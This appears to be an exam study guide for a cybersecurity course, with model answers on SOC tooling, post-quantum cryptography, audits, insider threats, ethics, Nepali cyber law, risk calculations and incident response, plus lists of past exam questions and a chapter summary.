The SOC visibility triad is the principle, coined by Gartner's Anton Chuvakin in 2015 as the "SOC nuclear triad", that a security operations center needs three complementary sources of visibility: logs (SIEM), endpoints (EDR) and the network (NDR). Each sees what the others miss, so an attacker who evades one is still caught by the other two.
| Component | Sees | Blind spot |
|---|---|---|
| SIEM (logs) | logs and alerts from network, endpoints, identity and applications; history; correlation; compliance | only what is logged; costly and needs expertise |
| EDR (endpoint) | processes, files, registry and memory on hosts; can isolate a host | no network view; devices without an agent |
| NDR (network) | north-south and east-west traffic, without agents; rogue devices | no view inside hosts; encrypted payloads; more false alarms |
Why integrating them is better than any one alone:
- Complementary blind spots: together they leave no layer unobserved.
- Corroboration: an event that is ambiguous in one view is confirmed by the other two, so alerts are high fidelity and false positives fall.
- Resistance to evasion: an attacker who disables the EDR agent still crosses the network, and one who deletes logs was already seen by EDR and NDR.
- Complete investigation: who (logs), what ran (endpoint) and where it went (network), across every kill chain stage.
For example, a stolen VPN login at 2 a.m. (SIEM), a credential-dumping tool on the laptop (EDR) and beaconing from an agentless server (NDR) are three medium alerts alone, but one confirmed intrusion together.
Why PQC is already offered although quantum computers are far away TOP 2/4
2082 internal · Q4
2081 Bhadra · Q4
Post-quantum cryptography (PQC) is public-key cryptography that resists large quantum computers while running on ordinary hardware. Although no such quantum computer exists yet, vendors already offer PQC for these reasons:
- Harvest now, decrypt later: adversaries record encrypted traffic today and will decrypt it once a quantum computer can run Shor's algorithm, which breaks RSA, Diffie-Hellman and elliptic curve cryptography. Data that must stay secret for years is exposed already.
- Mosca's inequality: if the years data must stay secret () plus the years migration takes () exceed the years until a cryptographically relevant quantum computer (), that is , the organization is already late.
- Migration takes years: finding every use of cryptography and updating protocols, hardware and partners takes years, and systems must become crypto agile.
- Standards are final: NIST published FIPS 203 (ML-KEM), FIPS 204 (ML-DSA) and FIPS 205 (SLH-DSA) in August 2024.
- Government deadlines: the NSA's CNSA 2.0 targets 2035, and NIST's draft transition plan (NIST IR 8547) proposes deprecating RSA and ECC after 2030 and disallowing them after 2035.
- Long-lived products: firmware, vehicles and smart cards sold now will still be in service when quantum computers arrive.
- Cheap to start: hybrid key exchange (a classical elliptic curve exchange combined with ML-KEM or its forerunner Kyber) is secure if either part holds, costs little, and already ships in Chrome, Cloudflare, Signal, iMessage and OpenSSH.
- Market demand: customers, compliance questionnaires and regulators ask for it, and "quantum-safe" differentiates products.
Symmetric ciphers need only longer keys, since Grover's algorithm merely halves their strength, so AES-256 stays safe.
Role of SIEM, SOAR, UEBA, EDR and XDR in security operations, and how they enhance posture HOT 1/4
2082 Bhadra · Q4
Emerging technologies in security operations are the platforms a security operations center (SOC) uses to see, detect, investigate and respond at the speed of modern attacks. No single tool covers everything: each emerged to fix a limit of the one before, and together they turn raw data into correlated, automated, unified defense.
| Technology | Role in the SOC | Key features and functionalities |
|---|---|---|
| SIEM | The foundational layer and central brain: aggregates, stores and analyzes logs from the whole enterprise and raises prioritized alerts | data aggregation and normalization, correlation rules, threat intelligence enrichment, alerting, search, dashboards, compliance reports, case management, long retention |
| SOAR | The connective tissue: orchestrates the other tools and acts on alerts at machine speed | orchestration of tools through APIs, automated playbooks (enrich, block, disable, isolate, open a ticket), case management, human approval steps, response metrics |
| UEBA | The behavior lens: finds users and devices acting unlike themselves | ML baselines per user, entity and peer group; anomaly detection; risk scoring; detection of malicious insiders and compromised credentials |
| EDR | The last line of defense: deep visibility and response on each endpoint | behavioral recording of processes, files, registry and connections; suspicious activity detection, including fileless attacks; incident containment by isolating the host; forensic investigation through the process tree |
| XDR | The evolution of EDR: one platform across every layer | data consolidation from endpoint, network, email, cloud and identity into one data lake; cross-platform correlation into one incident; response in every layer from one console |
How they work together: EDR and XDR feed high-context telemetry to the SIEM (NDR does the same for the network); UEBA adds behavioral context and risk scores, cutting false positives; the SIEM correlates everything into a high-fidelity alert for SOAR; SOAR's playbook then tells the XDR to isolate the endpoint, the firewall to block the attacker's IP and the IAM tool to disable the account. The result is a closed loop of deep visibility and automated action.
How they enhance cybersecurity posture:
- Visibility: a single pane of glass over logs, endpoints, identities and cloud, so no layer is dark.
- Earlier detection: correlation and behavior analytics catch attacks no single log shows, including insiders and fileless malware, cutting the mean time to detect.
- Faster response: automated containment cuts response times from hours or days to minutes or seconds, and with them the attacker's dwell time.
- Consistency and scale: playbooks respond the same way every time, at any hour.
- Analyst focus: repetitive triage is automated, so people handle the hard cases and hunt threats.
- Compliance and forensics: retained, searchable evidence for audits and investigations.
Key features of SIEM and SOAR, and how they enhance the security posture HOT 1/4
2083 internal · Q4
SIEM (security information and event management) collects and correlates logs from the whole environment and raises prioritized alerts; SOAR (security orchestration, automation and response) acts on those alerts through automated playbooks.
| SIEM | SOAR | |
|---|---|---|
| Key features | log collection and normalization; correlation rules; threat intelligence enrichment; real-time alerting; search and investigation; dashboards; compliance reports; case management; long retention | orchestration of tools through APIs; automated playbooks (enrich, block an IP, disable an account, isolate a host); case management; human approval steps; response metrics |
| Main function | detect | respond |
How they enhance cybersecurity posture:
- Visibility: SIEM is a single pane of glass, one searchable view across firewalls, servers, endpoints, identity and cloud that turns raw logs into actionable intelligence.
- Early detection: correlation finds attacks that no single log shows, cutting the mean time to detect.
- Fast, consistent response: SOAR playbooks cut response times from hours or days to minutes or seconds, the same way every time.
- Less alert fatigue: automated triage lets analysts focus on real incidents.
- Compliance and audit: retained logs, reports and case records serve as evidence.
7Security policy and audit
Why an effective audit must ensure corrective action TOP 2/4
2083 internal · Q8
2082 Bhadra · Q6
The statement is right: an audit that only finds problems leaves every risk where it was, only documented. Of the six phases of the IT audit process, the first three find problems and the last three make sure they are corrected.
- Planning, fieldwork and documentation, issue discovery and validation: scope and risk, tests recorded in working papers, findings confirmed with the auditee.
- Solution development: a corrective action plan for each finding, with an owner and a due date, best agreed jointly (the solution approach).
- Report drafting and issuance: findings and their action plans reported to management and the audit committee.
- Issue tracking: follow-up until every finding is closed, escalation of missed deadlines, and validation that the fix works; the record feeds the next audit plan.
Example: an audit finds 14 active accounts of former staff, because leavers are removed only if a manager thinks to email IT. The agreed plan: a daily HR leaver report, accounts disabled within 24 hours, quarterly access recertification. At follow-up the auditor samples 20 recent leavers, finds all disabled, and closes the finding. Without follow-up the gap stays open, the next disgruntled leaver keeps access, and the same finding returns as an incident.
Policy, audit and monitoring controls against an insider leak TOP 2/4
2083 internal · Q9
2082 Bhadra · Q6
The program manager had legitimate access, so perimeter tools saw nothing wrong; three layers of control could have prevented or detected the leak.
- Policy (prevent and deter): data classification forbidding confidential documents in personal email, USB drives or personal cloud; least privilege and need to know, limiting the manager to the projects he runs; NDA and conflict-of-interest declarations; separation of duties for releasing documents; job rotation and mandatory vacation; pre-employment screening; offboarding that cuts access at resignation.
- Audit (verify): quarterly access reviews and recertification; audit of downloads, email attachments to outside domains, USB copies and print jobs; protected audit trails that serve as evidence.
- Monitoring (detect in time): DLP on email, endpoints and web uploads, blocking confidential files; UEBA flagging unusual download volume or hours; SIEM correlation of a resignation, a bulk download and mail to a competitor's domain; CASB for cloud uploads; watermarked or decoy documents that trace a leak.
Monitoring announced in the acceptable use policy is lawful and deters. Together the layers stop or catch the leak before the documents reach the competitor.
8The ethics of cyber security
Responsible disclosure and protecting whistleblowers, with examples TOP 2/4
2082 internal · Q6
2081 Bhadra · Q6
Responsible disclosure (coordinated vulnerability disclosure) is the ethical way to report a newly found security flaw: the finder reports it privately to the vendor or owner, allows a reasonable, agreed time to fix it (commonly about 90 days), and publishes the details only after the patch is out or the deadline has passed. It balances two dangers: publishing at once hands attackers a zero-day, while silence lets a careless vendor leave users exposed.
Example: a student finds that changing the account number in a bank's web address shows another customer's balance. Instead of posting it online, where criminals would copy it within hours, she emails the bank's security team, agrees to 60 days, and publishes a write-up only after the fix.
Protecting whistleblowers. A whistleblower is an insider, usually an employee, who reports wrongdoing by their own organisation (illegal, fraudulent or unsafe acts) to someone who can act: management, a regulator or the police. It is a grey area, disloyal to the employer but done for the public interest. Protection means laws and policies that keep the reporter's identity confidential and forbid dismissal, demotion or harassment for a good-faith report; in Nepal, section 29 of the Right to Information Act 2064 (2007) protects employees of public bodies.
Example: an engineer at a car maker finds managers skipping a critical safety patch to save money; ignored inside the company, she reports it to the transport safety regulator, and the law forbids firing her for it.
Copyright, trade secret and trademark; the three criteria for a patent TOP 2/4
2082 internal · Q6
2081 Bhadra · Q6
Copyright, trade secrets and trademarks are three kinds of intellectual property that protect different things in different ways:
| Point | Copyright | Trade secret | Trademark |
|---|---|---|---|
| Protects | the expression of an idea: text, music, art, source code | business information critical to the firm, valuable because secret | words, slogans and logos that identify a company's products |
| Purpose | control of copying | keeping competitors from knowing it | avoiding marketplace confusion |
| Obtained by | creation; registration optional | secrecy: NDAs, access control; never disclosed | registration |
| Duration | life + 70 years in the US (life + 50 in Nepal) | as long as it stays secret | 10 years in the US (7 in Nepal), renewable |
| Example | an antivirus product's code | Coca-Cola's formula | a bank's name and logo |
A patent protects an inventor's rights over an invention for a limited time (20 years from filing in the US) in exchange for publishing it. The three eligibility criteria are:
- New (novelty): not known, used or published anywhere before the application.
- Useful (utility, industrial application): it works and has a practical use.
- Not obvious (inventive step): a skilled person in the field would not see it as an obvious next step.
Example: the RSA public key algorithm met all three and held a US patent from 1983 until it expired in 2000.
Ethical considerations in cybersecurity HOT 1/4
2082 Bhadra · Q7
Ethical considerations in cybersecurity are the moral principles that guide security professionals when they protect, monitor, test or respond: whether an action respects privacy, is properly authorised, avoids harm and is honest, even where the law is silent. Law is the minimum a government enforces with formal penalties; ethics is socially accepted conduct with no formal sanction, and usually asks for more.
- Privacy: access only the personal data a task needs.
- Authorisation and consent: test or monitor only with written permission; without it, ethical hacking is a crime.
- Confidentiality: keep clients' and employers' information secret.
- Honesty: report incidents and findings truthfully; never hide a breach.
- Avoiding harm: use the least intrusive control that works.
- Fairness and accountability: no discrimination; decisions logged and explainable.
- Responsible disclosure and social responsibility: report flaws privately to the vendor, protect the public, and report wrongdoing through proper channels.
Codes such as the (ISC)² Code of Ethics and the Ten Commandments of Computer Ethics write these down. A hard decision passes three tests: is it legal, is it ethical, and does the professional code allow it?
An overview of cyber law in Nepal HOT 1/4
2082 Bhadra · Q7
Cyber law in Nepal rests on the Constitution of Nepal 2072 (2015), whose Article 28 makes the privacy of a person's residence, property, documents, data, correspondence and character inviolable except by law, and on the Electronic Transactions Act (ETA) 2063 (2008), the main cyber statute.
The ETA gives legal recognition to electronic records and digital signatures, licenses Certifying Authorities under a Controller, limits the liability of network service providers for content they only carry, and defines computer offences in chapter 9:
| Section | Offence | Maximum punishment |
|---|---|---|
| 44 | pirating, destroying or altering source code | 3 years or Rs 200,000 or both |
| 45 | unauthorised access to a computer | 3 years or Rs 200,000 or both |
| 46 | damage to computer and information systems | 3 years or Rs 200,000 or both |
| 47 | publishing illegal material electronically: against law, public morality or harmony, or harassing women | 5 years or Rs 100,000 or both; more on repeat |
| 48 | breach of confidentiality | 2 years or Rs 100,000 or both |
| 52 | computer fraud | 2 years or Rs 100,000 or both, gain recovered |
| 53, 54 | abetment or attempt; accomplice | 6 months or Rs 50,000; half the principal's punishment |
Offences from abroad against a computer in Nepal can be tried (section 55), devices used are confiscated (section 56), the state is the plaintiff (section 75), and a complaint is due within 90 days of knowing of the offence (section 74). The IT Tribunal the Act provides was never formed, so district courts hear the cases, investigated by the Nepal Police Cyber Bureau.
Around the ETA stand the Privacy Act 2075 (2018), the National Penal Code 2074 (2017) with its privacy offences (sections 293 to 300), the Copyright Act 2059 (2002), the Electronic Commerce Act 2081 (2025), the National Cyber Security Policy 2080 (2023), and sector rules from Nepal Rastra Bank and the telecom regulator.
2083 internal Internal · 7 questions
Q15 marksDescribe the CNSS security model and how it applies to information security.Ch 1
Q25 marksCompare reflected, stored, and DOM-based XSS in terms of where the malicious payload resides and execution flow. Provide two developer-side mitigations for each type.Ch 2
Q35 marksDefine the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.Ch 3
Q45 marksHighlight key features and functionalities of SIEM and SOAR. How they enhance an organization’s ability to enhance cybersecurity posture.Ch 5
Q75 marksWhat types of logs can be integrated into a SIEM? Give at least four examples.Ch 4
Q85 marks“An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT Audit Process and give an example of how follow-up can prevent recurring risks.Ch 7
Q95 marksConsider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse?Ch 7
2082 Bhadra Regular · 11 questions
Q1Explain the CIA triad and its importance in achieving organizational security goals.Ch 1
Q1According to Sun Tzu, what two things must be achieved to successfully secure information assets? Explain.Ch 1
Q210 marksDiscuss the evolution of ransom ware from simple encryption malware to different extortion techniques. Support your answer with examples.Ch 2
Q310 marksExplain the role of threat intelligence and frameworks like MITRE ATT&CK and the cyber kill chain in effective threat hunting.Ch 3
Q410 marksExplain how emerging technologies such as SIEM, SOAR, UEBA, EDR, and XDR contribute to modern security operations. What are their key features and functionalities, and how do they collectively strengthen an organization’s cyber security posture?Ch 5
Q6“An effective audit is not only about finding problems but also ensuring corrective action.” Discuss this statement with reference to the IT audit process and give an example of how follow-up can prevent recurring risks.Ch 7
Q6Consider the insider threat case where a program manager leaked confidential documents to a competitor. What policy, audit, and monitoring mechanisms could have helped detect and prevent such insider abuse?Ch 7
Q7Define ethical considerations in the context of cyber security.Ch 8
Q7Also, provide an overview of cyber law in the context of Nepal.Ch 8
Q8Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA?Ch 1
Q8Describe STRIDE and DREAD threat models in brief.Ch 3
2082 internal Internal · 10 questions
Q1What is risk management and why do we need risk management?Ch 1
Q2Provide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications.Ch 2
Q3Define the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.Ch 3
Q4Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors?Ch 5
Q4Describe SOC visibility triad in brief.Ch 5
Q6Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples.Ch 8
Q6Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent?Ch 8
Q7Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA?Ch 1
Q7Describe STRIDE and PASTA threat models in brief.Ch 3
Q9The cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples.Ch 1
2081 Bhadra Regular · 10 questions
Q110 marks“You can’t boil the ocean”. Elaborate the intent behind the statement in the light of risk management concepts with reference to NIST RMF framework.Ch 1
Q210 marksProvide an overview of four critical web application vulnerabilities: XSS (Cross-Site Scripting), XSRF, Buffer Overflow, and SQL Injection. Outline security best practices to enhance resilience against these vulnerabilities in web applications.Ch 2
Q310 marksDefine the Cyber Kill Chain and outline its stages. Discuss how understanding the Cyber Kill Chain can aid in threat detection, response, and mitigation.Ch 3
Q4Despite Quantum Computing still far away in terms of general availability, why do you think the PQC is already being offered by many vendors?Ch 5
Q4Describe SOC visibility triad in brief.Ch 5
Q6Describe the concepts like Responsible Disclosure and Protecting Whistleblower in your own words with examples.Ch 8
Q6Differentiate between copyright, trade secret and trademark. What are the 3 eligibility criteria for a patent?Ch 8
Q7Explain various authentication factors with examples. What do you mean by MFA and Phishing-resistant MFA?Ch 1
Q7Describe STRIDE and PASTA threat models in brief.Ch 3
Q810 marksThe cyber-attack has transformed into global economic, political, and technical warfare. Explain with examples.Ch 1
6 procedures · asked 9 times in 4 sittings · the steps, in order
Practical answers
The questions the papers have asked about how a thing is done: incident handling and response, the risk calculations, the lifecycles and procedures. Each answer gives the steps in the order they happen, with the flow to draw beside it. What a thing is, and every comparison, stays in Theory answers.
1Cyber security concepts and principles
The LCD warranty case: SLE, ARO, ALE and the decision TOP 2/4
2082 internal · Q8
2081 Bhadra · Q9
This is a quantitative risk analysis: the expected yearly loss from LCD failures is compared with the cost of the warranty. Two inputs come first:
- Asset value (AV): the value of the asset at risk, here one LCD, $500 to replace.
- Exposure factor (EF): the share of the asset lost in one incident; a failed LCD is replaced whole, so EF = 100%.
a) Single loss expectancy (SLE) is the monetary loss from one occurrence of the risk:
b) Annualized rate of occurrence (ARO) is the number of times the loss is expected in a year. Three LCDs fail each year, so per year.
c) Annualized loss expectancy (ALE) is the expected loss per year:
The same result follows per laptop: each has an ARO of 3/25 = 0.12 and an ALE of 500 × 0.12 = 60 dollars, and 25 laptops × 60 dollars = 1,500 dollars a year for the fleet.
d) Yes, the warranty should be purchased.
- The warranty covers 2 years, over which the expected loss without it is dollars.
- The warranty costs $2,000 for those 2 years, which is $1,000 a year against an ALE of $1,500 a year.
- Buying therefore saves about dollars over the 2 years, or $500 a year:
Since the cost of the safeguard is less than the loss it prevents, the warranty is cost effective. It is a form of risk transference: the vendor bears the cost of the failures in return for a fixed fee. The decision assumes the warranty covers every LCD failure with no extra charge, the failure rate stays at three a year and replacement prices do not change. If failures fell below two a year (an ALE under $1,000), the warranty would no longer pay for itself. On the stated estimates, the company should buy the warranty: it turns an uncertain expected loss of $3,000 into a fixed cost of $2,000.
Risk management in light of the NIST RMF HOT 1/4
2082 internal · Q1
The NIST Risk Management Framework (RMF), defined in NIST SP 800-37 Rev. 2 (2018), turns risk management into seven steps applied to every information system throughout its life cycle:
- Prepare: set the context at organization and system level: roles, the risk management strategy and risk tolerance, an organization-wide risk assessment, common controls and the system boundary.
- Categorize: rate the system and its information by the impact of a loss of confidentiality, integrity or availability as low, moderate or high (FIPS 199). This is risk identification and analysis.
- Select: choose the control baseline for that category from NIST SP 800-53 and tailor it to the system's actual risks, recorded in a security plan.
- Implement: put the controls in place and document them. This is risk treatment.
- Assess: test whether the controls are implemented correctly, operate as intended and produce the desired outcome; list the gaps in a plan of action and milestones.
- Authorize: a senior official reviews the remaining risk and formally accepts it by granting an authorization to operate, or denies it. This is risk evaluation and acceptance of residual risk.
- Monitor: continuously watch the controls, system changes and new threats, and repeat the cycle as risk changes. This is risk review and monitoring.
The earlier RMF (Rev. 1, 2010) had six steps; Rev. 2 added Prepare. The RMF is therefore risk management made repeatable: identify and categorize, treat through controls, verify them, accept the residual risk at the right level, and monitor continuously.
Rating the risk of two vulnerabilities on one asset HOT 1/4
2082 Bhadra · Q7
Whitman and Mattord's risk rating ranks the vulnerabilities of an asset:
L is the likelihood of the vulnerability and V the value of the asset; the share mitigated and the uncertainty are both percentages of L × V. Assumptions and data 80 percent accurate mean 20 percent uncertainty.
| Vulnerability | L × V | Mitigated | Uncertainty (20%) | Risk rating |
|---|---|---|---|---|
| #1: likelihood 0.5, a control covers 50% | 0.5 × 100 = 50 | − 50% of 50 = 25 | + 20% of 50 = 10 | 35 |
| #2: likelihood 0.1, no controls | 0.1 × 100 = 10 | − 0 | + 20% of 10 = 2 | 12 |
Result: vulnerability #1 rates 35 and vulnerability #2 rates 12. Vulnerability #1 is treated first even though a control already covers half of it, since it is five times as likely; a further control on it, or better data to cut the uncertainty, lowers its rating.
4Log management, data visualization and security monitoring
The stages of the SIEM architecture HOT 1/4
2083 internal · Q6
A SIEM processes data through five stages, from the source to the report:
- Data collection: logs from firewalls, servers, endpoints, applications and cloud services are gathered by agents, syslog and APIs into collectors, which buffer, time-stamp and forward them securely.
- Normalization: each raw entry is parsed into fields, mapped to one common schema, given a UTC timestamp and enriched with threat intelligence, asset and user context.
- Correlation: a rules engine evaluates the normalized stream in real time with threshold, sequence, cross source and threat intelligence rules, and raises scored alerts, for example 37 failed logins then a success from one address.
- Storage: events are indexed, compressed and kept in hot, warm and cold tiers for the retention period, protected against tampering, for search and evidence.
- Reporting: alerts reach analysts and SOAR, dashboards show the current state, and scheduled reports serve managers and auditors.
6Incident detection and response
The fundamental steps of incident handling and response, with actions at each step TOP 3/4
2083 internal · Q5
2082 internal · Q5
2081 Bhadra · Q5
Incident handling and response is the planned procedure for dealing with a security incident, from preparing for it to improving after it. The incident response plan (IRP) framework has eight steps: preparation, detection, categorisation, containment, investigation, remediation, reporting and lessons learnt. The actions follow one example: a phishing email whose macro installs Emotet, TrickBot and then Ryuk ransomware on a finance PC.
- Preparation: write the IRP with management approval; form the team; prepare playbooks for phishing, ransomware, keyloggers and DDoS; arrange logistics (a war room, laptops, phones); keep contact, escalation and on-call lists, network diagrams, data flows and the incident register current; send logs to the SIEM, deploy EDR, keep tested offline backups.
- Detection: EDR reports winword.exe starting powershell.exe; record who or what reported it, when (in GMT) and how; check the incident register for similar reports; confirm it is valid, not a false positive.
- Categorisation: identify the target (the PC, its user, the finance data), whether the threat is live, and its impact (financial, operational, reputational, legal); set the category (malicious code), the priority (P1) and the communication class (restricted).
- Containment: isolate the PC through EDR, disable the user's account, block the command and control IP and domain at the firewall and in DNS, purge the email from all mailboxes, change administrator passwords, and capture memory and disk first.
- Investigation: establish the initial vector (the macro), persistence (scheduled tasks, run keys), compromised accounts and their privilege, lateral movement and exfiltration, from SIEM and firewall logs, malware analysis and a user interview.
- Remediation: remove the malware and its persistence, reset the stolen credentials, block macros from the internet, update antivirus signatures and SIEM rules, reimage and restore from a clean backup, hold an awareness session, and declare the incident remediated.
- Reporting: update the incident register, document the evidence, findings and timeline, and report to management and, where required, regulators and the police.
- Lessons learnt: find the root cause (macros from the internet allowed to run), judge how well controls and processes performed, review trends, and agree a mitigation plan and an improvement plan that feed back into preparation.
Mapping to NIST SP 800-61: preparation is NIST's preparation; detection and categorisation form detection and analysis; containment, investigation and remediation form containment, eradication and recovery; reporting and lessons learnt form post-incident activity. Throughout, the team avoids contact with the attacker, preserves evidence and keeps communication confidential, through management.
The four phases of the NIST SP 800-61 Rev. 2 incident response lifecycle HOT 1/4
2082 Bhadra · Q5
NIST SP 800-61 Rev. 2, the Computer Security Incident Handling Guide (2012), defines a four-phase incident response lifecycle. Detection and analysis and containment loop back and forth until no new affected host turns up, and post-incident activity feeds its lessons back into preparation.
- Preparation: build the capability and prevent incidents before they happen: an incident response policy and plan, a trained team with roles and on-call contacts, communication and facilities (a war room, secure storage), hardware and software (forensic laptops, packet capture tools), resources (documentation, network diagrams, baselines), and preventive controls (patching, hardening, awareness).
- Detection and analysis: recognise that an incident has happened and understand it: identify the attack vector, watch for precursors (signs one may happen) and indicators (signs one has), analyse alerts and logs from the SIEM, IDS, EDR and users, document every step, prioritise by functional impact, information impact and recoverability, and notify the right people.
- Containment, eradication and recovery: stop the spread with a containment strategy (isolate hosts, disable accounts, block addresses), gather and preserve evidence with a chain of custody, remove the cause (malware, compromised accounts, exploited vulnerabilities), and restore systems from clean backups, then verify and monitor them.
- Post-incident activity: a lessons learned meeting soon after (what happened, how well staff performed, what to change), using the collected incident data to show trends and justify resources, and retaining the evidence as policy and law require.
Example (Ryuk): playbooks and EDR ready (preparation); EDR flags Word starting PowerShell (detection and analysis); the PC is isolated, the macro and TrickBot removed and the host reimaged (containment, eradication and recovery); macros from the internet are then blocked (post-incident activity).
2083 internal Internal · 2 questions
Q55 marksWhat are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.Ch 6
Q65 marksWith reference to SIEM architecture, explain how different stages (data collection, normalization, correlation, storage, reporting).Ch 4
2082 Bhadra Regular · 2 questions
Q510 marksExplain the four phases of the incident response lifecycle as defined in NIST SP 800-61 Rev. 2.Ch 6
Q7Asset A has a value of 100 and has two vulnerabilities: vulnerability #1 has a likelihood of 0.5 with a current control that addresses 50% of its risk; vulnerability #2 has a likelihood of 0.1 with no current controls. Your assumptions and data are 80% accurate. Calculate risk rating.Ch 1
2082 internal Internal · 3 questions
Q1Explain the risk management in light of NIST RMF framework.Ch 1
Q5What are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.Ch 6
Q8You have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a. What is SLE? b. What is ARO? c. What is ALE? d. Should you purchase warranty coverage? Justify with reason?Ch 1
2081 Bhadra Regular · 2 questions
Q510 marksWhat are the fundamental steps involved in incident handling and response procedures? Provide examples of specific actions taken during each step.Ch 6
Q910 marksYou have just purchased 25 new laptops for your company. Your supervisor has asked you to analyze whether the company should purchase additional warranty coverage that covers liquid crystal display (LCD) replacement for the laptops. Purchasing an additional 2 years of warranty coverage for the 25 laptops costs $2,000. You estimate that three LCDs will fail each year, each costing $500 to replace. a) What is SLE? b) What is ARO? c) What is ALE? d) Should you purchase warranty coverage? Justify with reason.Ch 1
8 chapters · 164 topics · definition, points, flows
Summary
Every topic of the eight chapters as the skeleton of its exam answer: the definition of the main term, the points as one-line keywords, every process drawn as a flow and every set of types as tiles, by name. The topics the papers ask get the full skeleton, the rest a line or two, and an example only where it helps, the same few across the course. Each title opens its full card; the chip is how often the papers ask it. At the end, the recall sheet gives every topic again as bare keywords.
Chapter 1: Cyber security concepts and principles
4 hours · 7 of 80 marks in the syllabus · in all 4 sittings
Cybersecurity PREDICTED
Cybersecurity: protecting computers, networks, devices, data and systems from unauthorised or malicious access, attack or damage, preserving the confidentiality, integrity and availability of information
Guards against
- Malice
- Mistakes
- Mischance
- Domains: network, application, data, IAM, cloud, security operations, DR and BCP, governance, user education, physical
- Attack surface: every exploitable weakness and vector; grows with cloud, IoT, shadow IT
Cyber attack as warfare TOP 2/4
Cyber attack as warfare: cyber attack has transformed into a global economic, political and technical warfare, waged by criminals, rival firms and nation states
Actors
- Cyber criminals
- Competitors, foreign states
- APTs
- Hacktivists
- Hackers
- Insiders
- Economic: fraud, extortion, ransomware stopping business; WannaCry (2017)
- Political: states spy, sabotage, coerce; Stuxnet (2010)
- Technical: evolving TTPs; Ryuk takes a whole network within hours
- Impact: reputation, money, customers, share price
History of attacks PREDICTED
- Then and now: attacks more sophisticated; attackers need less knowledge (automated tools)
- Landmarks: Morris worm (1988), Stuxnet (2010), WannaCry (2017), SolarWinds (2020)
Supply chain attack PREDICTED
Supply chain attack: compromising a trusted supplier or shared component to reach its customers through a legitimate, signed channel
- Examples: SolarWinds Orion (2020), SUNBURST in a signed update; xz backdoor (2024), a trusted maintainer
- Defence: SBOM, vendor risk assessment
CIA triad HOT 1/4
CIA triad: the three core properties that information security must preserve: confidentiality, integrity and availability
A threat to each leg
- Confidentialitysniffing
- Integrityvirus, MitM
- AvailabilityDoS
- Controls: C: encryption, access control; I: hashing, digital signatures; A: redundancy, backups
CIA priority and AIC PREDICTED
Who puts what first
- Military, governmentconfidentiality
- Private companiesavailability
- ITCIA
- OTAIC
- OT (PLC, SCADA): A: nonstop process, safety; I: wrong value, physical harm; C: data rarely secret
- Example (Stuxnet): altered PLC logic: an integrity attack
Security goals and objectives HOT 1/4
Security goals and objectives: goals are the properties security preserves, CIA plus authenticity, accountability and non-repudiation; objectives are specific, measurable targets serving them
Beyond CIA, achieved by
- Authenticitycertificates, signatures
- Accountabilityunique IDs, logs
- Non-repudiationprivate key signature
- Objective: full disk encryption on every laptop by June
IAAA and MFA TOP 3/4
Multi-factor authentication (MFA): authentication by two or more factors from different categories, such as a password and a phone OTP
IAAA
- Identification
- Authentication
- Authorization
- Accountability
Authentication factors
- Something you knowpassword, PIN
- Something you haveOTP, token
- Something you arefingerprint
- Somewhere you are
- Something you do
- Example: ATM card plus PIN is MFA; password plus PIN is not
- Phishing-resistant MFA: bound to the real site by public key; defeats phishing proxies, push fatigue; FIDO2, passkeys, PKI smart cards
CNSS security model HOT 1/4
CNSS security model (McCumber cube): a 3 × 3 × 3 cube of security goals, information states and security measures, used to find gaps in security coverage
- Goals: confidentiality, integrity, availability
- States: storage, processing, transmission
- Measures: technology, policy and practice, education and training
- Use: each of the 27 cells needs a control; an empty cell is a gap
Security design principles PREDICTED
Ten principles
- Least privilege
- Need to know
- Separation of duties
- Fail-safe defaults
- Economy of mechanism
- Complete mediation
- Open design
- Separation of privilege
- Least common mechanism
- Psychological acceptability
Defence in depth PREDICTED
Defence in depth (layered security): several independent layers of controls between attacker and asset; when one fails, the next stops, slows or detects the attack
Four layers, with controls
- Perimeterfirewall, VPN, DMZ
- Internal networksegmentation, IDS
- Hosthardening, EDR
- Dataencryption, DLP, backups
Risk terms and terminologies PREDICTED
How the terms connect
- Threatsexploit vulnerabilities
- Vulnerabilitiescause exposure
- Exposureis risk
- Riskcut by safeguards
- Safeguardsprotect assets
- Assetsendangered by threats
- Also: threat agent, attack, breach
Threat categories and vulnerabilities PREDICTED
Threat categories: twelve families of threat to information security: deliberate acts, human error, technical failure and nature
Twelve categories
- Technological obsolescence
- Theft
- Service quality deviations
- Software attacks
- Forces of nature
- Software failures
- Human error
- Hardware failures
- Espionage or trespass
- Intellectual property compromises
- Information extortion
- Sabotage or vandalism
- Mnemonic: Old Taskar Dhilo Aayo; Nadi Tarda Haat Tutyo; Exam Copy, Ijjat Satyanaas
- Vulnerabilities: flaws, misconfiguration, people, obsolescence; found by scans, pen tests; named CVE, CVSS
Risk management TOP 3/4
Risk management: discovering and assessing the risks to an organization's operations, and determining how to control or mitigate them to an acceptable level
The process
- Identification
- Analysis
- Evaluation
- Treatment
- Review and monitoring
Why it is needed
- Limited resources
- Risk never zero
- Informed decisions
- Legal duty
- Continuity
- Changing threats
- Terms: risk appetite, inherent risk, residual risk, risk owner
- Sun Tzu: know yourself (assets, systems, controls); know the enemy (threats)
Risk identification PREDICTED
Five steps
- Inventory assets
- Classify and organize
- Assign value
- Identify threats
- Pinpoint vulnerable assets
- Mnemonic: Ishwor Chhatma Vodka Tanera Paltiyo
